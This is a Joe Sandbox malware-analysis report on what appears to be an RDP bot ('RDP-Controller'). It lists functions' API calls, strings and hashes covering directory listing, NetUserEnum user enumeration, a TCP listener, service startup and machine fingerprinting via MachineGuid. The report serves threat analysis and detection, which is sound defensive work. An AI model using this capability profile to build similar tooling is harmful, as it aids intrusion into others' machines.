Opcode Fuzzy Hash: 4949fe7bc8a222cefbf3ead6bf23d32448817b897e803bddc4395f5859a246e4
Instruction Fuzzy Hash: CF6119B1E0D5D385FA225B75EE847B862506F0B758F840132DA5ECA2F0DEECED45A341

Function 00007FF7AABD47A3 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 159fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE ref: 00007FF7AABD47E9
_mbscpy.MSVCRT ref: 00007FF7AABD4804
FindFirstFileA.KERNEL32 ref: 00007FF7AABD48D7
GetLastError.KERNEL32 ref: 00007FF7AABD48F3
GetLastError.KERNEL32 ref: 00007FF7AABD4922
FindClose.KERNEL32 ref: 00007FF7AABD4940

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

Strings

(name != NULL), xrefs: 00007FF7AABD4871
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7AABD4847, 00007FF7AABD487F, 00007FF7AABD48B7
fs_dir_list, xrefs: 00007FF7AABD4840, 00007FF7AABD4878, 00007FF7AABD48B0, 00007FF7AABD490D, 00007FF7AABD4951
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7AABD4832, 00007FF7AABD486A, 00007FF7AABD48A2
(resume_handle != NULL), xrefs: 00007FF7AABD48A9
[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu), xrefs: 00007FF7AABD4958
[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu), xrefs: 00007FF7AABD4914
(path != NULL), xrefs: 00007FF7AABD4839

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: Find$ErrorFileLast$CloseFirstNext_mbscpyfflushfwrite
String ID: (name != NULL)$(path != NULL)$(resume_handle != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu)$[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu)$fs_dir_list
API String ID: 1094913617-1535167640
Opcode ID: 995f115fb8ba395f81a05c9b835082c6746a5ca2570fbf6c25dc8641196da954
Instruction ID: 055043e2939a4c351b9fdb6675b5f177250560d68095fa9063eba4ca93ef672c
Opcode Fuzzy Hash: 995f115fb8ba395f81a05c9b835082c6746a5ca2570fbf6c25dc8641196da954
Instruction Fuzzy Hash: 3E614A21E0F683C9FA607B55E4403F8E254AF20395FD641B2D99E5B2F4DE2CA887C361

Function 00007FFB22706D5F Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB22706C7F: GetProcessHeap.KERNEL32 ref: 00007FFB22706CCD
Part of subcall function 00007FFB22706C7F: HeapFree.KERNEL32 ref: 00007FFB22706CDE
Part of subcall function 00007FFB22706C7F: GetProcessHeap.KERNEL32 ref: 00007FFB22706CF2
Part of subcall function 00007FFB22706C7F: HeapFree.KERNEL32 ref: 00007FFB22706D03
Part of subcall function 00007FFB22706C7F: LocalFree.KERNEL32 ref: 00007FFB22706D19
Part of subcall function 00007FFB22706C7F: GetProcessHeap.KERNEL32 ref: 00007FFB22706D2D
Part of subcall function 00007FFB22706C7F: HeapFree.KERNEL32 ref: 00007FFB22706D3E

NetApiBufferFree.NETAPI32 ref: 00007FFB22707283
NetUserEnum.NETAPI32 ref: 00007FFB227072F9
GetProcessHeap.KERNEL32 ref: 00007FFB22707337
HeapAlloc.KERNEL32 ref: 00007FFB22707348
memcpy.MSVCRT ref: 00007FFB22707385
GetProcessHeap.KERNEL32 ref: 00007FFB2270738A
HeapFree.KERNEL32 ref: 00007FFB2270739B

Strings

[E] (%s) -> NetUserEnum failed(enum_err=%08lx), xrefs: 00007FFB22707413
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB22706D8D
mem_alloc, xrefs: 00007FFB22706D86
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB227073EA
[I] (%s) -> Done(sam_user_num=%u), xrefs: 00007FFB22707528
users_sync, xrefs: 00007FFB227073E3, 00007FFB2270740C, 00007FFB22707521

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Heap$Free$Process$AllocBufferEnumLocalUsermemcpy
String ID: [E] (%s) -> Failed(err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> NetUserEnum failed(enum_err=%08lx)$[I] (%s) -> Done(sam_user_num=%u)$mem_alloc$users_sync
API String ID: 1987963910-3382179125
Opcode ID: 99cbaf113bc8b4c80a5db71fbd9b66ee8517c08e3d22a6d9195eee4f8278679b
Instruction ID: b43c35f8873d17290d98659be593122c030b351737c3432112bf464805dab793
Opcode Fuzzy Hash: 99cbaf113bc8b4c80a5db71fbd9b66ee8517c08e3d22a6d9195eee4f8278679b
Instruction Fuzzy Hash: 54617FA1A0D6C681FA269B74EC803B96650AF86354F140035E94DC76B4EEFDEE898701

Function 00007FFB23AB28BA Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 89networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFB23AB28D8
WSAGetLastError.WS2_32 ref: 00007FFB23AB29C2

Part of subcall function 00007FFB23AB27EA: setsockopt.WS2_32 ref: 00007FFB23AB281A

htonl.WS2_32 ref: 00007FFB23AB290A
htons.WS2_32 ref: 00007FFB23AB291B
bind.WS2_32 ref: 00007FFB23AB2934
listen.WS2_32 ref: 00007FFB23AB2949
WSAGetLastError.WS2_32 ref: 00007FFB23AB295A

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

WSAGetLastError.WS2_32 ref: 00007FFB23AB2984

Strings

[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FFB23AB2A0E
[E] (%s) -> listen failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB23AB2976
[E] (%s) -> bind failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB23AB29A0
tcp_listen, xrefs: 00007FFB23AB296F, 00007FFB23AB2999, 00007FFB23AB29D3, 00007FFB23AB2A07
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB23AB29DA

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: ErrorLast$bindfflushfwritehtonlhtonslistensetsockoptsocket
String ID: [E] (%s) -> bind failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> listen failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$tcp_listen
API String ID: 3590747132-3524496754
Opcode ID: 1e281d2b764eda443bfba74c065725a3021d88745858eb50cd21d1acb4268d8f
Instruction ID: ea52b06ad4462447cf42324add4dd5ef2cd59e263cb2911047243c37c747cd06
Opcode Fuzzy Hash: 1e281d2b764eda443bfba74c065725a3021d88745858eb50cd21d1acb4268d8f
Instruction Fuzzy Hash: 2D31C3A0A1868681EA229B35EC0027C3691BF677B4F0C4776D87E273F9EE3DE4048740

Function 00007FF7AABD1DBC Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF7AABD1DD4
strcmp.MSVCRT ref: 00007FF7AABD1DE7
StartServiceCtrlDispatcherA.ADVAPI32 ref: 00007FF7AABD1E23
_read.MSVCRT ref: 00007FF7AABD1E79
GetLastError.KERNEL32 ref: 00007FF7AABD1E98

Part of subcall function 00007FF7AABD1A63: FreeLibrary.KERNEL32(?,?,00000000,0000027B435613D0,00007FF7AABD1E50,?,?,?,?,?,?,00000001,00007FF7AABD1FC3,?,?,00007FF7AABE8508), ref: 00007FF7AABD1AA1
Part of subcall function 00007FF7AABD1A63: GetProcessHeap.KERNEL32(?,?,00000000,0000027B435613D0,00007FF7AABD1E50,?,?,?,?,?,?,00000001,00007FF7AABD1FC3,?,?,00007FF7AABE8508), ref: 00007FF7AABD1AD4
Part of subcall function 00007FF7AABD1A63: HeapFree.KERNEL32(?,?,00000000,0000027B435613D0,00007FF7AABD1E50,?,?,?,?,?,?,00000001,00007FF7AABD1FC3,?,?,00007FF7AABE8508), ref: 00007FF7AABD1AE5

Part of subcall function 00007FF7AABD1B1C: GetProcessHeap.KERNEL32(?,?,00000000,00007FF7AABD1E55,?,?,?,?,?,?,00000001,00007FF7AABD1FC3,?,?,00007FF7AABE8508,00000000), ref: 00007FF7AABD1B4D
Part of subcall function 00007FF7AABD1B1C: HeapFree.KERNEL32(?,?,00000000,00007FF7AABD1E55,?,?,?,?,?,?,00000001,00007FF7AABD1FC3,?,?,00007FF7AABE8508,00000000), ref: 00007FF7AABD1B5E

Strings

service, xrefs: 00007FF7AABD1DDD, 00007FF7AABD1E37
[E] (%s) -> No a valid run mode(mode=%s), xrefs: 00007FF7AABD1F8B
main, xrefs: 00007FF7AABD1EA3, 00007FF7AABD1F84
[E] (%s) -> StartServiceCtrlDispatcherA failed(GetLastError=%lu), xrefs: 00007FF7AABD1EAA
RDP-Controller, xrefs: 00007FF7AABD1DF4
standalone, xrefs: 00007FF7AABD1DCA

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: Heap$Free$Processstrcmp$CtrlDispatcherErrorLastLibraryServiceStart_read
String ID: RDP-Controller$[E] (%s) -> No a valid run mode(mode=%s)$[E] (%s) -> StartServiceCtrlDispatcherA failed(GetLastError=%lu)$main$service$standalone
API String ID: 3617873859-308889057
Opcode ID: c6fdafb6e61b9dcc75db4515785ec9ddd183118bff9fd0d5da33b544536fa653
Instruction ID: 1a82f67c2631f1c1b7d68c82cab88009924ece0eea4062e52add690203f01454
Opcode Fuzzy Hash: c6fdafb6e61b9dcc75db4515785ec9ddd183118bff9fd0d5da33b544536fa653
Instruction Fuzzy Hash: B151E714E0F643CAFBB07754B490378A295AF18344FD605B2D94E462B2DF5DE9879332

Function 00007FF7AABD1131 Relevance: 13.6, APIs: 9, Instructions: 120sleepstringCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,00007FF7AABD1313), ref: 00007FF7AABD116E
_amsg_exit.MSVCRT(?,?,?,00007FF7AABD1313), ref: 00007FF7AABD118D
_initterm.MSVCRT ref: 00007FF7AABD11AE
_initterm.MSVCRT ref: 00007FF7AABD11D3
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF7AABD1313), ref: 00007FF7AABD1212
malloc.MSVCRT ref: 00007FF7AABD1244
strlen.MSVCRT ref: 00007FF7AABD125C
malloc.MSVCRT ref: 00007FF7AABD1268
_cexit.MSVCRT(?,?,?,00007FF7AABD1313), ref: 00007FF7AABD12E3

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: _inittermmalloc$ExceptionFilterSleepUnhandled_amsg_exit_cexitstrlen
String ID:
API String ID: 3714283218-0
Opcode ID: a8064edad5975ffa8ddaf6c1b07911e7f079fd9c5a4557f8d4210bda645fea64
Instruction ID: b5bfd98776a629aacf83aad9fb312f072a560f5a0313ef7423434fbd47439650
Opcode Fuzzy Hash: a8064edad5975ffa8ddaf6c1b07911e7f079fd9c5a4557f8d4210bda645fea64
Instruction Fuzzy Hash: 00516D25E0BA46C9FB61FB51E850279A3A4BF58B94F8684B5CD0D473B2DF3DE4428360

Function 00007FFB22705EEA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FFB22705F12
WSAGetLastError.WS2_32 ref: 00007FFB22705F2C

Strings

tcp_recv, xrefs: 00007FFB22705F46, 00007FFB22705F5E, 00007FFB22705F83
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FFB22705F65
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB22705F4D
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FFB22705F8A

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: d743631cf24eda1d2df6e3a0731321b0b9a64b83d7173c1e462706517f616e59
Instruction ID: 443ea5245f852919e507c84450c86e15306b7b62a44d2ce79e19c172b9af7c58
Opcode Fuzzy Hash: d743631cf24eda1d2df6e3a0731321b0b9a64b83d7173c1e462706517f616e59
Instruction Fuzzy Hash: E11136E0A0C59791FA2A5B35EC506B81250BF177A4E501331E92DEA6F6DEDCAE5A8300

Function 00007FF7AABD4FC5 Relevance: 72.0, APIs: 24, Strings: 17, Instructions: 298
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen.MSVCRT ref: 00007FF7AABD500A
fseek.MSVCRT ref: 00007FF7AABD5029
_errno.MSVCRT ref: 00007FF7AABD503D
_errno.MSVCRT ref: 00007FF7AABD5058
_errno.MSVCRT ref: 00007FF7AABD5117

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

_errno.MSVCRT ref: 00007FF7AABD5132
_errno.MSVCRT ref: 00007FF7AABD517F
fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7AABD53EB
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7AABD5094, 00007FF7AABD50C7, 00007FF7AABD50FA
[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d), xrefs: 00007FF7AABD5347
[E] (%s) -> fopen failed(path=%s,errno=%d), xrefs: 00007FF7AABD5126
[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d), xrefs: 00007FF7AABD504C
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5045, 00007FF7AABD508D, 00007FF7AABD50C0, 00007FF7AABD50F3, 00007FF7AABD511F, 00007FF7AABD522A, 00007FF7AABD5340, 00007FF7AABD540B, 00007FF7AABD54CA, 00007FF7AABD5555, 00007FF7AABD5598
(buf_sz != NULL), xrefs: 00007FF7AABD50B9
NULL, xrefs: 00007FF7AABD5589
(((*buf) == NULL) || ((*buf_sz) > 0)), xrefs: 00007FF7AABD50EC
[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld), xrefs: 00007FF7AABD54D1
[E] (%s) -> ftell failed(path=%s,errno=%d), xrefs: 00007FF7AABD5231
[I] (%s) -> Done(path=%s,buf_sz=%llu), xrefs: 00007FF7AABD559F
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7AABD507F, 00007FF7AABD50B2, 00007FF7AABD50E5
[E] (%s) -> fread failed(path=%s,errno=%d), xrefs: 00007FF7AABD5412
(path != NULL), xrefs: 00007FF7AABD5086
mem_alloc, xrefs: 00007FF7AABD53E4

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: _errno$fclosefflushfopenfseekfwrite
String ID: (((*buf) == NULL) || ((*buf_sz) > 0))$(buf_sz != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> fopen failed(path=%s,errno=%d)$[E] (%s) -> fread failed(path=%s,errno=%d)$[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld)$[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d)$[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d)$[E] (%s) -> ftell failed(path=%s,errno=%d)$[I] (%s) -> Done(path=%s,buf_sz=%llu)$fs_file_read$mem_alloc
API String ID: 2897271634-4120527733
Opcode ID: 2086d0b3fccbe90f8278429222fdf507b6fcba6ad0b34e4d164f706ff4c95eaf
Instruction ID: 4acbaace41dbcb4fa812371cbaededd15540e1bc3228b7d5d025c6d37d39a747
Opcode Fuzzy Hash: 2086d0b3fccbe90f8278429222fdf507b6fcba6ad0b34e4d164f706ff4c95eaf
Instruction Fuzzy Hash: 75D19E71A0BA03C2FA21FB54E8403B8A755BF60795FD646BAD90D472B0DE3CE5878320

Function 00007FFB23AB3AA7 Relevance: 66.8, APIs: 10, Strings: 28, Instructions: 327
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB23AB3AC2
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB23AB3AEF
CreateThread.KERNEL32 ref: 00007FFB23AB3B3B
CreateThread.KERNEL32 ref: 00007FFB23AB3B9B
CreateThread.KERNEL32 ref: 00007FFB23AB3BFB
GetLastError.KERNEL32 ref: 00007FFB23AB3C52
GetLastError.KERNEL32 ref: 00007FFB23AB3D6E
GetLastError.KERNEL32 ref: 00007FFB23AB3E46

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

GetLastError.KERNEL32 ref: 00007FFB23AB3F4E

Part of subcall function 00007FFB23AB2072: EnterCriticalSection.KERNEL32 ref: 00007FFB23AB2143
Part of subcall function 00007FFB23AB2072: LeaveCriticalSection.KERNEL32 ref: 00007FFB23AB216B
Part of subcall function 00007FFB23AB2072: CopyFileA.KERNEL32 ref: 00007FFB23AB21C8

GetLastError.KERNEL32 ref: 00007FFB23AB404C

Strings

[E] (%s) -> CreateThread(routine_gc) failed(gle=%lu), xrefs: 00007FFB23AB3E58
P, xrefs: 00007FFB23AB3DF5
routine_accept, xrefs: 00007FFB23AB3BB1
, xrefs: 00007FFB23AB406A
P, xrefs: 00007FFB23AB3CD5
P, xrefs: 00007FFB23AB3EBE
[E] (%s) -> CreateThread(routine_accept) failed(gle=%lu), xrefs: 00007FFB23AB3F60
, xrefs: 00007FFB23AB3E64
, xrefs: 00007FFB23AB3C70
P, xrefs: 00007FFB23AB3FC6
[E] (%s) -> CreateThread(routine_tx) failed(gle=%lu), xrefs: 00007FFB23AB405E
~, xrefs: 00007FFB23AB3EB9
server_init, xrefs: 00007FFB23AB3B58, 00007FFB23AB3BB8, 00007FFB23AB3C18, 00007FFB23AB3C3A, 00007FFB23AB3C5D, 00007FFB23AB3D79, 00007FFB23AB3E51, 00007FFB23AB3F59, 00007FFB23AB4057, 00007FFB23AB414A
, xrefs: 00007FFB23AB3F6C
~, xrefs: 00007FFB23AB4092
routine_gc, xrefs: 00007FFB23AB3B51
~, xrefs: 00007FFB23AB3DEC
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23AB4151
routine_tx, xrefs: 00007FFB23AB3C11
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_clients) failed(gle=%lu), xrefs: 00007FFB23AB3D80
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_queue) failed(gle=%lu), xrefs: 00007FFB23AB3C64
, xrefs: 00007FFB23AB3D8C
~, xrefs: 00007FFB23AB3CD0
Done, xrefs: 00007FFB23AB3C33
[I] (%s) -> %s, xrefs: 00007FFB23AB3C41
P, xrefs: 00007FFB23AB4097
[I] (%s) -> CreateThread(%s) done, xrefs: 00007FFB23AB3B5F, 00007FFB23AB3BBF, 00007FFB23AB3C1F
~, xrefs: 00007FFB23AB3FC1

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: ErrorLast$CriticalSection$CreateThread$CountInitializeSpin$CopyEnterFileLeavefflushfwrite
String ID: $ $ $ $ $Done$P$P$P$P$P$[E] (%s) -> CreateThread(routine_accept) failed(gle=%lu)$[E] (%s) -> CreateThread(routine_gc) failed(gle=%lu)$[E] (%s) -> CreateThread(routine_tx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_clients) failed(gle=%lu)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_queue) failed(gle=%lu)$[I] (%s) -> %s$[I] (%s) -> CreateThread(%s) done$routine_accept$routine_gc$routine_tx$server_init$~$~$~$~$~
API String ID: 3214881788-719614687
Opcode ID: dac36e3bd0cdf9df57b4b9ad19cad6874c2198d7d1dc801a52f0c0ee30f6488d
Instruction ID: d55cd1e62e0fa8e0353f31389e1f8702566d0255ed4d69138a54ae9834ca278f
Opcode Fuzzy Hash: dac36e3bd0cdf9df57b4b9ad19cad6874c2198d7d1dc801a52f0c0ee30f6488d
Instruction Fuzzy Hash: ADF1FAA0E0C78381FB625735EC8437D1256AF37365F2C07B6C52E262E9DE6EA9858341

Function 00007FFB23AB482C Relevance: 58.0, APIs: 11, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFB23AB5154: LoadLibraryA.KERNEL32 ref: 00007FFB23AB5162

Part of subcall function 00007FFB23AB50D3: GetProcAddress.KERNEL32 ref: 00007FFB23AB50F3

FreeLibrary.KERNEL32 ref: 00007FFB23AB48BF
GetNativeSystemInfo.KERNEL32 ref: 00007FFB23AB490B
GetWindowsDirectoryA.KERNEL32 ref: 00007FFB23AB4924
GetLastError.KERNEL32 ref: 00007FFB23AB4932

Strings

C:\Windows, xrefs: 00007FFB23AB491D, 00007FFB23AB4A10
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FFB23AB4A25
MachineGuid, xrefs: 00007FFB23AB4A53
~, xrefs: 00007FFB23AB4B59
\, xrefs: 00007FFB23AB4A90
, xrefs: 00007FFB23AB4B03
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FFB23AB4AF7
P, xrefs: 00007FFB23AB4B62
ntdll.dll, xrefs: 00007FFB23AB4834
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FFB23AB4C7E
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FFB23AB48A4
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23AB48D9
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FFB23AB4BE8
RtlGetVersion, xrefs: 00007FFB23AB484C
%, xrefs: 00007FFB23AB4A39
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FFB23AB4D57
:, xrefs: 00007FFB23AB4A8B
sys_init, xrefs: 00007FFB23AB489D, 00007FFB23AB48D2, 00007FFB23AB493D, 00007FFB23AB4A1E, 00007FFB23AB4AF0, 00007FFB23AB4B2E, 00007FFB23AB4BE1, 00007FFB23AB4C77, 00007FFB23AB4D50
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FFB23AB4A4C, 00007FFB23AB4B20
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FFB23AB4B35
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FFB23AB4944
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FFB23AB4A5A

Memory Dump Source

